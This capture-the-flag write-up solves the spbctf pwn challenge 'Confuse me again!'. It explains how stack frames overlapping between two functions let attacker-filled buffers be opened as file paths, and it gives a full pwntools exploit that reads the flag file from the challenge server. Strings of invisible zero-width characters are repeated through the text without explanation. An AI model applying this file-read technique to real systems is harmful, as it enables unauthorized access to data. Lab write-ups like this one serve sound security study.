← Back to Writeups
CUSTOMMediumpwn

Confuse me again!

XESXOR9/2/20265 min read
#pwn#custom#medium#fopen_arbitrary_file#sprintf_path_traversal#stack_frame_overlap#type_confusion#uninitialized_stack

Confuse me again!

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: fopen_arbitrary_file, sprintf_path_traversal, stack_frame_overlap, type_confusion, uninitialized_stack

Summary

Task: NON-PIE pwn where read_files() iterates an uninitialized stack pointer-array and sprintf/fopen's a path from each 'block'; option 'sort+read' first fills the overlapping stack region with attacker-controlled malloc'd buffers. Solution: exploit the stack-frame overlap (read_files[j] == sort_data[j+640]) to alias our buffers as file records, forging block[0]='pwned_folder' and block[0x100]='flag.txt' so fopen reads the flag.

Confuse me again! — spbctf

Description

Confuse me again! nc 109.233.56.90 11722 binary: confuse_me_again.elf (https://pwn.spbctf.ru/files/uaf/confuse_me_again/)

A NON-PIE x86-64 pwn challenge. Despite living under a /files/uaf/ URL, there is no heap use-after-free — free is never imported. The real bug is an uninitialized stack pointer-array consumed as a "file record" table, i.e. a type/stack confusion between two sibling functions. Goal: read pwned_folder/flag.txt on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Protections (checksec): NON-PIE (base 0x400000), NX, stack canary, Partial RELRO, FORTIFY (__sprintf_chk). Symbols present: logic, read_files, sort_data, read_n, menu.

logic() — the dispatcher

scanf("%d", &choice);
choice == 1 -> sort_data(); read_files();   // "sort + read"
choice == 2 -> read_files(); sort_data();   // "read + sort"

Both sort_data and read_files are called from the same logic() call site level R (the callee return address sits at the same stack depth for each). This is what makes their local frames overlap. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

read_files() — the consumer of the confused array

For each record it does malloc(0x200) and writes two inline strings into the block:

block[0]     = "type1" / "type2"   // the "folder"
block[0x100] = "foo.txt" / "bar.txt" // the "file"

Block pointers are stored in a stack array at rsp+0x10 that is never zero-initialized. After the interactive record loop, a second loop walks that array and, for each non-NULL entry b, builds a path and opens it:

c
__sprintf_chk(path, ..., "%s/%s", b /*folder*/, b + 0x100 /*file*/);
FILE *f = fopen(path, "r");
fread(...); puts(...); fclose(f);

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The loop stops at the first NULL slot. So any stale non-NULL pointer left on the stack before read_files runs is dereferenced as a block, and its bytes at offset 0 and 0x100 become the folder/file of an fopen.

sort_data() — the producer of controlled buffers

"sort not implemented". It loops up to 0x3ff times:

c
scanf("%d", &n);            // attacker-controlled size
p = malloc(n);
read_n(p, n);              // reads up to n bytes; stops ONLY on '\n', NOT on NUL
array[idx] = p;            // stack array at rsp+0x20
scanf("%d", &next);        // "Next(1/0)?"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

We fully control both the size and the entire content (including embedded NUL bytes) of each buffer, and the buffer pointers get stored on sort_data's stack.

Stack overlap math (the "confusion")

Both callees start from the same return level R. From the prologues:

sort_data:  6 pushes (0x30) + sub 0x1000 + sub 0x1000 + sub 0x38 = 0x2068
            pointer array base = R - 0x2048 ; entry k @ R - 0x2048 + 8*k

read_files: 6 pushes (0x30) + sub 0xc28                          = 0xc58
            pointer array base = R - 0xc48  ; entry j @ R - 0xc48  + 8*j

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solve for aliasing slots:

R - 0x2048 + 8*k  ==  R - 0xc48 + 8*j
8*k - 8*j = 0x2048 - 0xc48 = 0x1400 = 8*640
=> k = j + 640

So read_files[j] aliases sort_data[j+640].

In order 1 (sort + read), sort_data runs first and leaves its buffer pointers on the shared region; read_files then reads them as blocks. read_files[0] is overwritten by read_files's own freshly-malloc'd legit block, so the first attacker-controlled entry is:

read_files[1] == sort_data[641]  ->  a buffer we fully control

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

read_files will sprintf("%s/%s", buf[0], buf[0x100]) from our buffer and fopen the result.

Solution

Choose order 1 (sort + read). Allocate ~720 buffers in sort_data, each of size 0x109, every one shaped as a fake read_files block:

buf[0x000] = "pwned_folder\0"
buf[0x100] = "flag.txt\0"

Because read_n stops only on '\n' (not on NUL), the NUL padding between the two strings embeds cleanly. Filling many consecutive slots guarantees sort_data[641] (and its neighbours up to the first NULL) hold our buffer, so read_files[1] = "pwned_folder"/"flag.txt" → fopen("pwned_folder/flag.txt") → puts leaks the flag. One legit read_files record (foo.txt/type1) provides block[0] and terminates the record loop. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The whole input can be sent in one shot to avoid per-round latency on the slow remote.

python
#!/usr/bin/env python3
# Confuse me again! - spbctf pwn
#
# Bug: read_files() block-pointer array (stack rsp+0x10) is NOT zero-initialized.
# When called after sort_data() (order 1 = "sort + read"), sort_data leaves
# malloc'd buffer pointers on the overlapping stack region. read_files then
# treats sort_data buffers as "file record" blocks and does:
#     sprintf(path, "%s/%s", block+0, block+0x100); fopen(path); fread; puts
# We control the buffer content, so we make it open "pwned_folder/flag.txt".
#
# Overlap math (both callees from logic at same return level R):
#   sort_data array[k] @ R - 0x2048 + 8k
#   read_files array[j] @ R - 0xc48 + 8j
#   read_files[j] == sort_data[j+640]
# read_files[0] gets overwritten by its own fresh block (legit).
# read_files[1] == sort_data[641] -> our controlled buffer.
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import sys
from pwn import *

context.log_level = 'info'
context.arch = 'amd64'

HOST, PORT = "109.233.56.90", 11722
N = 720  # number of sort_data buffers to allocate

def build_buf():
    b = b"pwned_folder\x00"
    b = b.ljust(0x100, b"\x00")
    b += b"flag.txt\x00"
    return b  # len 0x109

def solve(io):
    payload = build_buf()
    size = len(payload)
    szline = str(size).encode() + b"\n"

    # Build the ENTIRE input stream up-front and blast it (avoids per-round latency).
    buf = b""
    buf += b"1\n"                       # logic: order 1 = sort + read
    for i in range(N):
        buf += szline                   # "data size?" -> size
        buf += payload                  # exactly `size` bytes read by read_n
        buf += (b"1\n" if i < N - 1 else b"0\n")  # "Next(1/0)?"
    # read_files legit block[0]
    buf += b"1\n"                       # foo.txt
    buf += b"1\n"                       # type1
    buf += b"0\n"                       # Next -> stop
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    io.send(buf)
    return io.recvall(timeout=20)

def main():
    if len(sys.argv) > 1 and sys.argv[1] == "local":
        io = process(["./confuse_me_again.elf"])
    else:
        io = remote(HOST, PORT)
    out = solve(io)
    sys.stdout.buffer.write(out)
    import re
    m = re.search(rb"spbctf\{[^}]*\}", out)
    if m:
        log.success("FLAG: " + m.group().decode())

if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍